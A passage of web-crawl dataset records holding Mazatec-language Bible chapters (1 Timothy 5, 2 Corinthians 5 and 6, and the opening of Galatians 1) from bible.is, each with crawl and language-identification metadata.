16","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/John\/16","date":"2013-12-04T16:04:14Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163035819\/warc\/CC-MAIN-20131204131715-00012-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000094175338745}","num_words":801,"character_repetition_ratio":0.063,"word_repetition_ratio":0.0,"special_characters_ratio":0.246,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Jñà xi̱ta̱ xi jye 'ñó jchínga, kì ta̱xki̱ nìkaká‑la̱; k'oa̱á s'ín tèno̱jmíya‑la̱ koni tsà na̱'èn‑lè ma; ti̱koa̱ jñà xi ìsa̱ i̱xti‑ìsa, k'oa̱á s'ín tèno̱jmíya‑la̱ koni tsà 'ndsì ma. 2Jñà íchjín xi jye 'ñó jchínga, k'oa̱á s'ín tèno̱jmíya‑la̱ koni tsà nea̱‑lè ma. Jñà xi íchjín i̱xti k'oa̱á s'ín tèno̱jmíya‑la̱ koni tsà tichji ma nga nguì tsjeè tíjna kjo̱hítsjeèn‑lè. 3Ti̱si̱ko̱ò jñà íchjín xi jye k'en x'i̱n‑la̱ tsà kixi̱ kjoa̱ nga tsjìn xi osìko̱. 4Tsà tjín íchjín ka'àn xi tjín‑la̱ i̱xti, ko̱ tsà tjín‑la̱ i̱xti 'ndei̱í, i̱xti koi, ítjòn kàtasíkitasòn ya̱ ni'ya‑la̱ kós'ín beèxkón Nainá. Kàtasìko̱ xi̱ta̱ xíkjín, mé‑ne nga tsjá ngajo‑la̱ kjoa̱tjòcha ts'e̱ xi̱ta̱ jchínga‑la̱. Kjoa̱ koi, ndaà tjín. K'oa̱á s'ín sasén‑la̱ Nainá. 5Jè chjo̱ón ka'àn xi kixi̱ kjoa̱ nga tíjna ta̱jngoò, Nainá 'ñót'aà‑takòn ko̱ na̱chrjein ko̱ ni̱tje̱n bítsi'ba nga chja̱t'aà‑la̱ Nainá. 6Ta̱nga jè chjo̱ón ka'àn xi kjo̱tsja ts'e̱ i̱sò'nde xi ch'o tjín tsjá‑la̱ yijo‑la̱, i̱t'aà ts'e̱ Nainá tíjnak'en‑né na̱s'ín tíjnakon. 7K'oa̱á s'ín tatìxoma‑la̱ kjoa̱ koi mé‑ne nga ndaà si̱ìjchá‑ne yijo‑la̱ nga mì yá xi ch'o ki̱tso̱‑la̱. 8Tsà yá xi mìkiì si̱ìkinda̱ xi̱ta̱ xíkjín nga si̱ìchját'aà‑la̱, mats'ia̱ko̱ ítjòn‑ne xi ya̱ títsa̱jnako̱ ni'ya‑la̱, tsà mì k'oa̱á s'ín ko̱si̱ko̱ xíkjín, mìkiì nchisíkitasòn 'én xi mokjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Ìsa̱á ch'o nchisíkítsa̱jna yijo‑la̱ mì k'oa̱á‑ne koni jñà xi̱ta̱ xi mìkiì mokjeiín‑la̱ 'én‑la̱ Nainá. 9Íchjín ka'àn xi si̱t'aà xo̱jo̱n nga ko̱chját'aà‑la̱, tà jñà‑né xi tsato jàn kaàn nó tjín‑la̱ xi kixi̱ tsibìtsa̱jnako̱ x'i̱n‑la̱, 10jñà xi 'ya‑la̱ nga ndaà kisìjchá yijo‑la̱ ts'e̱ xá xi ndaà tjín: tsà ndaà kisìjchá i̱xti‑la̱, tsà ndaà kisìs'in‑la̱ xi̱ta̱ xi ijchòkon ni'ya‑la̱, tsà tsaníjno ndso̱ko̱ xi̱ta̱‑la̱ Cristo nga ndaà kisìs'in‑la̱, tsà kisìchját'aà‑la̱ xi̱ta̱ xi kjoa̱ títsa̱jiìn. Tsà k'oa̱s'ín kisìkitasòn yije xá xi ndaà tjín, ko̱ma si̱t'aà xo̱jo̱n. 11Ta̱nga jñà íchjín ka'àn xi sa̱ i̱xti ìsa̱ mìkiì ko̱ma xo̱jo̱n si̱t'aà. K'e̱ nga x'i̱n kjoa̱ajiìn‑la̱, mìtsà 'iín ko̱ma‑la̱ nga ki̱nchat'aàxìn‑la̱ Cristo nga ki̱xan ìjngoò k'a‑ne. 12Tsà k'oa̱s'ín s'i̱in, kjo̱'iín s'e̱‑la̱ nga mìkiì nchisíkitasòn koni s'ín kitsjaà tso'ba nga sa̱ ítjòn. 13Íchjín koi, ti̱koa̱á mangaá‑la̱ nga xki̱ xi ján ni'ya binchimajto. Ma ts'eè‑né. Mìtsà tà ma ts'eè. Ti̱koa̱á 'én ndiso bíxkó. Chja̱jiìn chja̱'a ñánda mì jñà oko̱‑la̱. 14'A̱n, k'oa̱á s'ín mejèn‑na nga kàtixan ìjngoò k'a‑ne jñà íchjín ka'àn xi sa̱ i̱xti ìsa̱. Kàtas'e‑la̱ i̱xti. Ndaà kàtatíxoma ni'ya‑la̱ mé‑ne nga mì ch'o ki̱chja̱jno‑ná xi kondra̱. 15Tjín i'nga íchjín ka'àn xi jye tsohófaya‑ne, jè kiìt'aà ìjngoò k'a‑la̱ xi̱ta̱ nei̱í. 16Tsà jngoò xi̱ta̱ xi mokjeiín‑la̱ 'én‑la̱ Nainá tsà tjín xíkjín xi chjo̱ón ka'àn, mochjeén‑né nga kàtasíchját'aà‑la̱ xíkjín mé‑ne nga mì jè na̱xa̱ndá‑la̱ Cristo 'ñó ska̱nè‑ne xá. Jè na̱xa̱ndá‑la̱ Cristo ko̱maá ko̱si̱ko̱ xi kixi̱ kjoa̱ nga nguì ndí chjo̱ón ka'àn i̱ma̱. 17Jñà xi̱ta̱ jchínga xi ndaà otíxoma ya̱ na̱xa̱ndá‑la̱ Nainá, ok'ín‑la̱ nga ìsa̱ ndaà jcha̱xkón koa̱ ko̱chját'aà‑la̱ xi mochjeén‑la̱, mats'ia̱ko̱‑ne jñà xi chja̱ya koa̱ okóya 'én‑la̱ Nainá. 18Xo̱jo̱n‑la̱ Nainá, k'oa̱á s'ín tíchja̱ nga tsò: \"Jè nchra̱ja̱ xi síxá, kì na̱'ya bì'a tso'ba.\" Ti̱koa̱á tjít'aà xi tsò: \"Jè xi̱ta̱ xi síxá, mochjeén‑né nga kàtachjí‑la̱.\" 19Kì kiì nìs'in‑la̱ tsà yá xi óngui xi̱ta̱ jchínga xi otíxoma ts'e̱ na̱xa̱ndá‑la̱ Nainá tsà mì jò jàn ma‑ne xi̱ta̱ xi kijtseè‑ne xko̱n kjoa̱ xi komà. 20Ta̱nga jñà xi̱ta̱ jchínga xi ótsji jé‑ìsa, ti̱kaká‑la̱ nga nguixko̱n ngats'iì xi̱ta̱ na̱xa̱ndá‑la̱ Nainá, mé‑ne jñà xi̱ta̱ xi i'nga k'oa̱á s'ín sincháxkón‑ne. 21Tìbìnè‑lè nga nguixko̱n Nainá ko̱ Na̱'èn‑ná Jesucristo ko̱ àkja̱le̱‑la̱ xi xó jè jaàjiìn‑ne, ndaà ti̱kitasoìn kjoa̱ koi. Ni̱mé kjoa̱ xi bìndaàjiìn k'e̱ nga kj'eè kiì 'ya‑la̱ tsà kixi̱ kjoa̱. Kì chjaàjiìn xi̱ta̱ xi nìs'in‑la̱; ngásòn ti̱s'in yije‑la̱. 22Kì yá xi̱ta̱ xi ta̱xki̱ chjaàjiìn nga kjósòn‑la̱ ndsei̱i k'e̱ nga k'oi̱‑la̱ xá i̱jiìn na̱xa̱ndá‑la̱ Nainá. Ítjòn ndaà ti̱kítsjiìn mé‑ne nga mì ji̱ ko̱ko̱t'aà‑lè jé‑la̱ xi̱ta̱ xi kj'ei̱í. Tsjeè ti̱jni. 23Nga ch'in tjín kjit'aà‑la̱ i̱ndso̱'boì, kì tà nandá 'yoì, ti̱koa̱á t'i chibi nandá vino. 24Tjín i'nga xi̱ta̱ xi ti̱k'e̱ 'ya‑la̱ jé‑la̱ k'e̱ nga ti̱kj'eè si̱ndaàjiìn. Ta̱nga ti̱koa̱á tjín i'nga xi i̱skan 'ya‑la̱. 25K'oa̱ ti̱s'ín tjín xá xi ndaà tjín, tjín xi ni̱to̱n beè xi̱ta̱. Ti̱koa̱á tjín xá ndaà xi mì ni̱to̱n 'ya‑la̱ ta̱nga mìkiì ko̱ma jngoò k'a si̱jna'ma. I̱skan jcha̱‑la̱.\n1 Timoteo 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/1Tim\/5","date":"2013-12-11T09:35:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164034245\/warc\/CC-MAIN-20131204133354-00015-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000090599,"language_script":"Latn","minhash_cluster_size":20,"top_langs":"{\"maa_Latn_score\": 1.0000090599060059}","num_words":650,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.292,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Ngaji̱n, ra ya̱ i̱nchiníxá'ta‑te‑la̱ji̱n Nainá, 'koa̱á 'sín bitsa'ba‑laji̱n: Nda ti̱chjeén jiòn kjo̱nda ra ta kjo̱tjò títsjá‑no Nainá. 2Nga̱ 'koa̱á 'sín kitsò Nainá: Jé kjón ni̱chjin 'kia̱ nga chi̱ba̱‑la̱ kjochjeén‑li kjo̱nda‑na̱, kí'nchrè‑la. Ko̱ jè ni̱chjin 'kia̱ nga tjichiñá‑la̱ nga kítjo̱jin kjo̱hi'in, isíkíjnandi̱í‑ila. Nda kjón ti̱ná'ya jiòn, 'ndi̱í 'ndi̱‑ni̱ nda chi̱ba̱‑la̱ nga tímachjeén‑no jè kjo̱nda‑la̱ Nainá, ko̱ 'ndi̱í‑ni̱ nga ma kítjo̱jion jiòn kjo̱hi'in. 3Mì tsa mé kjoa̱'cho ra i̱nchi'nià‑ji̱n ra ma 'cho ka̱ma‑la̱ xi̱ta̱ ra kj'ií, mé‑ni nga mì yá ra 'cho ki̱tso̱‑la̱ jè xá ra i̱nchi'nià‑ji̱n. 4Ta isa̱á, 'koa̱á 'sín ngi nda i̱nchibakòn ki'ta‑ji̱n ijo‑na̱ji̱n nga chi̱'nda‑la̱ Nainá 'mì‑naji̱n. Nga 'ñó tjín‑naji̱n kjoa̱tsetakòn, nga 'ñó tse kjo̱hi'in titsa̱jin‑ji̱n, nga tíchija'ta‑naji̱n tsajmì ra machjeén‑naji̱n, nga chjá tíma‑naji̱n kjoa̱ ra tíbatojin‑ji̱n; 5nga tíniki'on‑naji̱n, nga nìkjaha'sen‑naji̱n nda̱yá, nga tsò‑naji̱n xi̱ta̱ nga ji̱ín‑ró fatsji‑la̱ji̱n kjo̱si xi̱ta̱ na̱xi̱ndá, nga iyí xá ra 'nià‑ji̱n, nga mì ti̱ tsa tsjafè‑naji̱n, nga i̱nchinikjiín‑ji̱n ra kjinchrá. 6Tanga ngi tsjeé i̱nchiníjchá‑ji̱n ijo‑na̱ji̱n; ko̱ ndaá machi̱ya‑naji̱n kó'sín tjín kjo̱hixi̱; ko̱ chíkjoa̱ko̱ó‑naji̱n 'kia̱ nga kó síko̱‑naji̱n xi̱ta̱; ko̱ tjín‑la̱ kjo̱nda inìma̱‑na̱ji̱n ra a̱'ta 'tse̱ xi̱ta̱; jé Inìma̱ Tsje‑la̱ Nainá tísíxájin inìma̱‑na̱ji̱n; ko̱ ngi ko̱ó inìma̱‑na̱ji̱n nga tjín‑naji̱n kjo̱tsjacha. 7Ngi 'én kixi̱í ra nakjoá‑ji̱n. Nga'ñó‑la̱ Nainá‑ní ra timako̱‑ji̱n. Ko̱ jñà kjoa̱kixi̱ ra 'nià‑ji̱n, 'koa̱á 'sín jngoya‑la̱ koni jñà ki̱cha̱ ra ko̱ ngaskoán ko̱ nga kixi̱ nichjeén‑ji̱n nga basìko̱‑naji̱n. 8Sa'koa̱á nda 'yaxkón‑naji̱n ko̱ sa'koa̱á mì kì 'yaxkón‑naji̱n. Sa'koa̱á nda bítjo̱ngi‑ji̱n ko̱ sa'koa̱á mì kì nda bítjo̱ngi‑ji̱n. Sa'koa̱á xi̱ta̱ ndiso 'mì‑naji̱n, tanga ngi 'én kixi̱í ra nakjoá‑ji̱n. 9'Koa̱á 'sín nìko̱‑naji̱n koni tsa mí kì 'yaxkon‑naji̱n, tanga 'ñó nda 'yaxkon‑naji̱n. 'Koa̱á kjòn‑ji̱n koni tsa ijye i̱nchibiya‑ji̱n, tanga 'ñó nda titsa̱jnakon-isa‑ji̱n. Tsjá‑naji̱n kjo̱hi'in jñà xi̱ta̱, tanga mì tsa sí'ken kjòn‑naji̱n. 10'Koa̱á 'sín kjòn‑ji̱n koni tsa ba tjín‑naji̱n, tanga 'ñó tsja tjín‑la̱ inìma̱‑na̱ji̱n. 'Koa̱á 'sín kjòn‑ji̱n koni tsa xi̱ta̱ i̱ma̱‑náji̱n ra ni̱mé kjo̱nda tísakó‑la̱, tanga 'ñó kjìn xi̱ta̱ tísakó‑la̱ kjo̱nda 'tse̱ Nainá ra a̱'ta tsa̱ji̱n. 'Koa̱á kjòn‑ji̱n koni tsa ni̱mé ra tjín‑naji̱n, tanga ya̱ ngixko̱n Nainá ni̱mé ra chija'ta‑naji̱n. 11Jiòn 'ndsé ra ya̱ Corinto tsa̱jiòn, 'koa̱á 'sín i̱nchinakjoá kixi̱í‑laji̱n, nga̱ ngi ko̱ó inìma̱‑na̱ji̱n nga tsjacha‑laji̱n. 12Mì tsa xkon tjín inìma̱‑na̱ji̱n ra a̱'ta tsa̱jiòn, tanga jión‑nájiòn ra xkon tjín inìma̱‑no ra a̱'ta tsa̱ji̱n. 13Mé‑ni nga ko̱ngásòn‑ni kjoa̱ ra si̱ke̱é xàngie̱é, 'koa̱á 'sín tíbitsá'ba‑najiòn koni tsa i̱xti‑na̱ xin‑no, kì xkon níkíjna inìma̱‑no. 14Kì jñà níngásòn‑ko̱o kjo̱bítsjen‑no ko̱ xi̱ta̱ ra mì tsa a̱'ta 'tse̱ Cristo makjiín‑la̱. Nga̱, ¿kó'sín ka̱ma‑ni nga ko̱ngásòn‑kjo jngo ra xi̱ta̱ kixi̱ ya̱ ngixko̱n Nainá ko̱ jngo xi̱ta̱ ra tsìn‑la̱ kjoa̱kixi̱‑la̱ Nainá? ¿A ka̱maá jñò ko̱chon ya̱ ñánda̱ nga tjín ni'í ra síhisen? 15¿A maá nga nda ko̱hijta jè Cristo ko̱ jè xi̱ta̱‑ni̱í? Ko̱, ¿a ka̱maá‑te nga ya̱ nda ko̱hijtako̱ jngo xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱ Cristo ko̱ jngo ra mì kì makjiín‑la̱? 16Majìn, nga̱ jè ni'ya i̱ngo̱‑la̱ Nainá, mì kì ma nga ya̱ si̱jnaya jngo xkósòn ra nainá tsò‑la̱ xi̱ta̱. Nga̱ jién jnchreé ra meé ni'ya i̱ngo̱‑la̱ Nainá ra tíjnakon. Koni 'sín ijye kitsò Nainá a̱'ta 'tse̱ xi̱ta̱ ra makjiín‑la̱ a̱'ta 'tse̱, nga kitsò: Ya̱á kóti̱jnako̱ ko̱ ya̱á kojmejín‑la̱ na̱xi̱ndá‑na̱. 'A̱án ko̱ma Nainá‑la̱ ko̱ jñá ko̱ma xi̱ta̱ na̱xi̱ndá‑na̱. 17'Koa̱á ma‑ni nga ko̱'sín kitsò‑te a̱'ta 'tse̱ xi̱ta̱‑la̱: Títjo̱kajion ya̱ a̱jin‑la̱ xi̱ta̱ kìi̱, ko̱ ti̱ncha'tàxìn‑la. Kì jñà chaájion kjoa̱ ra tjé tjín ya̱ ngixkoàa̱n, 'koa̱á 'sín ka̱ma‑ni nga 'a̱n skábétjò‑no. 18'A̱n‑ná ra ska̱ábétjò‑no nga Na̱'ìn‑no ka̱ma, ko̱ jión ka̱ma jiòn i̱xti 'xi̱n‑na̱ ko̱ i̱xti íchjín‑na̱, 'koa̱á xian‑no 'a̱n ra Nainá 'mì‑na ra tíjna̱ títjòn‑no, 'a̱n ra ta 'a̱n ta̱jngo‑naa̱ ra 'ñó tse nga'ñó tjín‑na.\n2 Corintios 6","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASAV\/2Cor\/6","date":"2013-12-10T07:54:51Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386164013027\/warc\/CC-MAIN-20131204133333-00044-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000072718,"language_script":"Latn","minhash_cluster_size":19,"top_langs":"{\"maa_Latn_score\": 1.0000072717666626}","num_words":565,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.308,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1Yijo‑ná k'oa̱á s'ín ngaya‑la̱ koni ni'ya xi tjín i̱ i̱t'aà nangui xi chiba na̱chrjein ma‑la̱ nga bixòña. Tsà ki̱xo̱ña ni'ya jè, Nainá tjíndaà jngoò‑la̱ ni'ya ján ngajmiì, xi tíjna ni̱ta̱ kjé‑ne, nga mìtsà tsja xi̱ta̱ kisindaà‑ne. 2K'oa̱á ma‑ne nga i̱ma̱á fahatse‑la̱ ini̱ma̱‑ná i̱ i̱sò'nde nga jè xi mejèn‑ná nga ni̱to̱n ki̱tsa̱jnayaá ni'ya‑ná ján ngajmiì. 3Na̱s'ín si̱jna yijo‑ná xi tsjach'á i̱'ndei̱, Nainá tsjá ìjngoò‑ná xi yijo xi̱tse̱. Jè ini̱ma̱‑ná mìtsà chi̱ja, yijo xi̱tse̱é ko̱ma. 4K'e̱ nga tákó tíjnakon yijo‑ná koni jngoò ni'ya xi ma bixòña, i̱ma̱á fahatse‑ná, maba‑ná, mìkiì tsò takoán nga nìkíjna ni'ya‑ná. Majìn‑ná nga tjáxìn‑ná ni'ya jè, jè xi mejèn‑ná nga kàtaxi̱tse̱ya yijo‑ná mé‑ne nga yijo‑ná xi ma biyaà jngoò k'aá jchi̱ja nga jè kjoa̱binachon si̱ìkijne‑la̱. 5Jè Nainá xi xó k'oa̱s'ín tsibíndaà‑ná ko̱ kitsjaà‑ná Ini̱ma̱ Tsjeè‑la̱ mé‑ne tjíkixi̱‑ne kjoa̱ nga i̱skan tsjá yije‑ná koni s'ín kitsjaà tso'ba. 6Kjit'aá na̱chrjein k'oa̱s'ín tíjngoò takoán i̱t'aà ts'e̱ Nainá ko̱ k'oa̱á s'ín tíjiìn‑ná, k'e̱ nga tákó tíjnakon yijo‑ná i̱ i̱t'aà nangui koni jngoò ni'ya ñánda titsa̱jnaá, kjiìn titsa̱jna‑lá ni'ya‑la̱ Na̱'èn‑ná ján ngajmiì. 7K'oa̱á s'ín titsa̱nìjchá yijo‑ná koni s'ín mokjeiín‑ná i̱t'aà ts'e̱ Nainá, mì k'oa̱á s'ín mochjeén nga ko̱s'ín si̱jchá yijo‑ná koni s'ín beè xkoaán. 8Tíjngoò takoán i̱t'aà ts'e̱ Nainá, ìsa̱á‑la ndaà tjín tsà si̱kíjnaá yijo‑ná, mé‑ne nga ján ki̱tsa̱jnakoa̱á Na̱'èn‑ná ngajmiì. 9Koií kjoa̱‑la̱ nga ndaà si̱kitasoán koni s'ín sasén‑la̱ Na̱'èn‑ná, a i̱ titsa̱jnaá i̱t'aà nangui a xi ján titsa̱jnaá ján ngajmiì. 10Mochjeén‑né nga ngats'iaá kìjchoaá nguixko̱n ñánda tíhotíxoma Cristo nga k'oi̱‑lá kinda̱ nga jngoò jngoaá; tjoé‑ná chjí‑ná mé kjoa̱ xi ki'né nga titsa̱jnaá i̱sò'nde, a ndaà ki'né, o xi ch'o ki'né. 11Nga yaxkón‑je̱n Nainá koni s'ín ok'ìn‑la̱, k'oa̱á ma‑ne bèno̱jmí‑la̱je̱n xi̱ta̱ xi kj'ei̱í, mé‑ne ko̱kjeiín‑la̱ i̱t'aà ts'e̱ Cristo. Nga nguixko̱n Nainá ndaà beèxkon‑na̱je̱n nga ndaà 'nè‑je̱n, 'a̱n k'oa̱á ti̱s'ín mejèn‑na̱ nga ti̱koa̱ jñò jyeé ndaà yaxkon‑náje̱n. 12Mìtsà 'mì‑nòje̱n nga ti̱ji̱n ndaà nìkítsa̱jna‑náje̱n yijo‑naje̱n ta̱nga jè xi mejèn‑naje̱n nga tsja kàtama‑nò i̱t'aà tsa̱je̱n, mé‑ne ko̱ma ki̱nókjoa̱‑là jñà xi̱ta̱ xi ti̱jñà ndaà síkítsa̱jna‑ne yijo‑la̱ koni s'ín tsejèn‑la̱, ta̱nga jè ini̱ma̱‑la̱ mìkiì ndaà síkinda̱. 13Tsà ská‑naje̱n, koi‑né nga Nainá nìxá‑la̱je̱n, tsà ndaà tjín kjo̱hítsjeèn‑naje̱n, kjo̱ndaà tsa̱jòn‑nò nga jñò nìxá‑nòje̱n. 14Jè kjoa̱tjòcha‑la̱ Cristo jè kitsobà'ñó‑naje̱n nga ma fìko̱‑na̱je̱n koni s'ín mejèn‑la̱, k'oa̱á tjín kjo̱hítsjeèn xi kjòchi̱ya‑na̱je̱n nga jngoò xi̱ta̱ k'en ngajo‑la̱ ngats'iì xi̱ta̱ xi tjín i̱sò'nde, k'oa̱á komà‑ne nga ngats'iì xi̱ta̱ k'en. 15Jè Cristo k'en ngajo‑la̱ ngats'iì xi̱ta̱ xi tjín i̱sò'nde, mé‑ne jñà xi̱ta̱ xi títsa̱jnakon mì ti̱ k'oa̱á s'ín si̱ìjchá‑ne yijo‑la̱ koni s'ín mejèn‑la̱ yijo‑la̱. K'oa̱á s'ín si̱ìjchá yijo‑la̱ koni s'ín mejèn‑la̱ Cristo nga jè k'en ngajo‑la̱ koa̱ jaáya‑la̱ i̱t'aà ts'e̱ kjoa̱biyaà. 16I̱'ndei̱ mì ti̱ kiì k'oa̱s'ín nìkítsjeèn‑naje̱n i̱t'aà ts'e̱ xi̱ta̱ xi kj'ei̱í kós'ín tsejèn, kó kjoàn, koni s'ín s'ín jñà xi̱ta̱ i̱sò'nde. K'e̱ nga sa̱ ítjòn k'oa̱á s'ín kinìkítsjeèn‑je̱n, jè Cristo, tsà ta̱xki̱ xi̱ta̱ i̱sò'nde‑nè. Ta̱nga i̱'ndei̱ mì ti̱ k'oa̱á s'ín nìkítsjeèn‑naje̱n. 17Jngoò xi̱ta̱, k'e̱ nga Cristo tíjnako̱, xi̱ta̱ xi̱tse̱‑né i̱t'aà ts'e̱ Nainá. Jè kjoa̱ jchínga jyeé tsato, jyeé kjòxi̱tse̱ya yije. 18Ngats'iì kjoa̱ koi i̱t'aà ts'e̱ Nainá nchrobá‑ne, nga i̱t'aà ts'e̱ Cristo kichibàndaà‑ná ko̱ Nainá. Ko̱ jè Nainá kitsjaà‑na̱je̱n xá nga ko̱ma kéno̱jmí‑je̱n kós'ín kjoóndaà‑ne xi̱ta̱ ko̱ Nainá. 19I̱t'aà ts'e̱ Cristo kisìxá Nainá nga kisìkjoóndaà‑ne xi̱ta̱ i̱sò'nde. Mì ti̱ kiì kinda̱ kis'iìn‑ne jé‑la̱ jñà xi̱ta̱. Ko̱ kitsjaà‑naje̱n xá nga bèno̱jmí‑je̱n kós'ín ma nga chibàndaà‑ná ko̱ Nainá. 20K'oa̱á ma‑ne ngaje̱n síkasén‑naje̱n Cristo nga nokjoà ngajo‑la̱je̱n. K'oa̱á ngaya‑la̱ koni tsà jè Nainá tíbítsi'ba‑nò. I̱t'aà ts'e̱ Cristo bìtsi'bà‑nòje̱n: jchi̱bàndaàko̱‑nò Nainá. 21Cristo, mìtsà jé tsohótsji; ta̱nga xi kjo̱ndaà tsa̱ján, Nainá, jé tsohónè yije‑la̱ ngats'iì jé xi tjín i̱sò'nde, mé‑ne i̱t'aà ts'e̱ Cristo, xi̱ta̱ kixi̱ ko̱maá nga jè Nainá si̱ìkixi̱ya‑ná.\n2 Corintios 5","id":"","dump":"CC-MAIN-2013-48","url":"http:\/\/www.bible.is\/MAASJV\/2Cor\/5","date":"2013-12-09T07:22:55Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2013-48\/segments\/1386163932627\/warc\/CC-MAIN-20131204133212-00060-ip-10-33-133-15.ec2.internal.warc.gz","language":"maa","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":24,"top_langs":"{\"maa_Latn_score\": 1.000007152557373}","num_words":581,"character_repetition_ratio":0.072,"word_repetition_ratio":0.0,"special_characters_ratio":0.228,"stopwords_ratio":0.275,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"1‑ 2Jiòn ra xi̱ta̱ na̱xi̱ndá‑la̱ Cristo ma jiòn ra ya̱ titsa̱jna ya̱ nangi Galacia, 'koa̱á 'sín sixóo'ta‑no 'a̱n ra 'mì‑na Pablo ko̱ nga'tsì xi̱ta̱‑la̱ Cristo ra i̱ títsa̱jnako̱‑na. Jè xá ítjòn ra 'a̱n tsá'ya̱, mì tsa kjo̱bítsjen 'tse̱ xi̱ta̱ inchrabà‑ni ko̱ mì tsa xi̱ta̱ i̱sà'nde ra ko̱'sín tsikí'ta‑na. Ngi jè sabá tsikíxáya‑na jè Jesucristo ko̱ Nainá ra Na̱'ìn 'mì‑lá ra kisikjaáya‑ila̱ ya̱ a̱jin‑la̱ mi'ken. 3Nainá ra Na̱'ín‑ná ko̱ jè Jesucristo ra tíjna ítjòn‑ná katasíchikon'tin‑no ko̱ katatsjá‑no kjo̱'nchán ya̱ a̱jin inìma̱‑no. 4Ijyeé 'ya‑nájiòn nga jè Jesucristo kitsjà kjo̱tjò ijo‑la̱ nga 'ken ngajo‑ná ta nga̱tjì 'tse̱ jé‑ná, mé‑ni nga ma kítjo̱kajin‑ná jñà kjoa̱'cho ra tjín ya̱ i̱sà'nde ra̱kìi̱. 'Koa̱á 'sín ki'sìn koni 'sín kjomejèn‑la̱ jè Na̱'ín‑ná ra Nainá ma. 5Jé Na̱'ín‑ná ra Nainá ra machjeén‑la̱ nga jeya katijna ta mé ni̱chjin‑nioo̱ ko̱ ta mé nó‑nioo̱, ko̱'sín katama. 6'A̱n, sí ta maxkón‑na nga ta ndi̱to̱ón kijmitákon jiòn Nainá, nga ya̱á tsangìtji̱ngi‑la jngo 'én ra kj'ií 'sín ki'sena̱jmí‑no. Ko̱ ijyeé ki'chaàjiín‑no nga̱ jè Nainá xá kiìchja̱‑no nga ta jè kjo̱nda‑la̱ Cristo kjó'tatakòn. 7Mì tsa tsò‑ni kjoa̱ nga tjín jngo‑isa 'én nda‑la̱ Cristo ra isa̱ kj'ií 'sín tsò. Majìn. Tanga tjín i'ka xi̱ta̱ ra mejèn‑la̱ nga minchá skáya‑no nga mejèn‑la̱ si̱ìkitsón‑jin jè 'én nda‑la̱ Cristo nga si̱ìkaatjìya‑la̱. 8Tanga tsa tjín jngo xi̱ta̱ ra kj'ií tsò 'én ra bakón‑ya koni 'sín tsò jè 'én nda‑la̱ Cristo ra ji̱n bakon‑ya‑laji̱n, jè Nainá katatsjá i'in‑la̱, ni̱'sín ti̱'a̱n‑na ko̱ ni̱'sín jngo ìkja̱li̱ ra ngajmi nchrabá‑ni. 9Koni 'sín ijye ko̱tsi'kìn‑laji̱n nga 'sa̱ ítjòn, takó 'koa̱á 'sín tíxian india‑no 'ndi̱‑ni̱: Tsa yá xi̱ta̱ ra kj'ií tsò 'én ra 'béna̱jmíya‑najiòn koni 'sín tsó 'én xi̱tse̱ ra nda tsò ra ijye ichjíbé jiòn, jè Nainá katatsjá i'in‑la̱. 10'A̱n, mì tsa kjo̱nda‑la̱ xi̱ta̱ ra batsjía̱, kjo̱nda‑la̱ Nainá‑ní ra batsjía̱ ra 'a̱n. Ko̱ mì tsa ki batsjía̱ nga nda kóti̱jna ya̱ ngixko̱n xi̱ta̱, tsa ko̱'sín mejèn‑na nga 'siaa̱n, mì‑la tsa kixi̱‑ni kjoa̱ nga chi̱'nda‑la̱ Cristo ma. 11Jiòn 'ndsé ko̱ tichjeé, ko̱'sín nda katasijin‑no a̱'ta 'tse̱ jè 'én nda‑la̱ Cristo ra 'a̱n 'benájmíya, nga mì tsa ta kjo̱bítsjen‑la̱ xi̱ta̱‑jìn; 12mì tsa taxki̱ xi̱ta̱‑jìn ra kitsjà‑na ko̱ ra tsakón‑ya‑na jñà 'én kìi̱; jè sabá Jesucristo ra tsakón tsijen‑na. 13Kina'yá‑la jiòn koni 'sín kí'siaa̱n nga ti̱'sa̱ ítjòn 'kia̱ nga ya̱ kijì'ta‑la̱ kjo̱téxoma 'tse̱ xi̱ta̱ judío; kjojtike̱‑náa̱ jè na̱xi̱ndá‑la̱ Cristo nga tsahatji̱ngi‑la̱, nga mejèn‑na nga katachija. 14A̱'ta 'tse̱ kjo̱téxoma‑la̱ xi̱ta̱ judío, 'a̱án ísikíjne‑la̱ jñà xi̱ta̱ ra ta̱ña kjójchá‑ji̱n ya̱ na̱xi̱ndá‑na̱, nga̱ isa̱á 'ñó nda kisìhitjasòn koni 'sín tjín xkósòn ra 'ya‑ni jñà xi̱ta̱ jchínga‑na̱. 15Tanga jè Nainá, 'koa̱á 'sín isasèn‑la̱ nga 'a̱n tsjahíjin‑na skanda ti̱'kia̱‑ni nga ti̱'sa̱ tjíhi'maa̱ ya̱ a̱ya i̱ndsi̱'ba̱ na̱‑na̱ nga ta ko̱ó kjo̱nda‑la̱ nga ko̱'sín kiìchja̱‑ná, 16ko̱ isikatsíjen‑na jè I'ndí‑la̱ mé‑ni nga 'a̱n ko̱ma 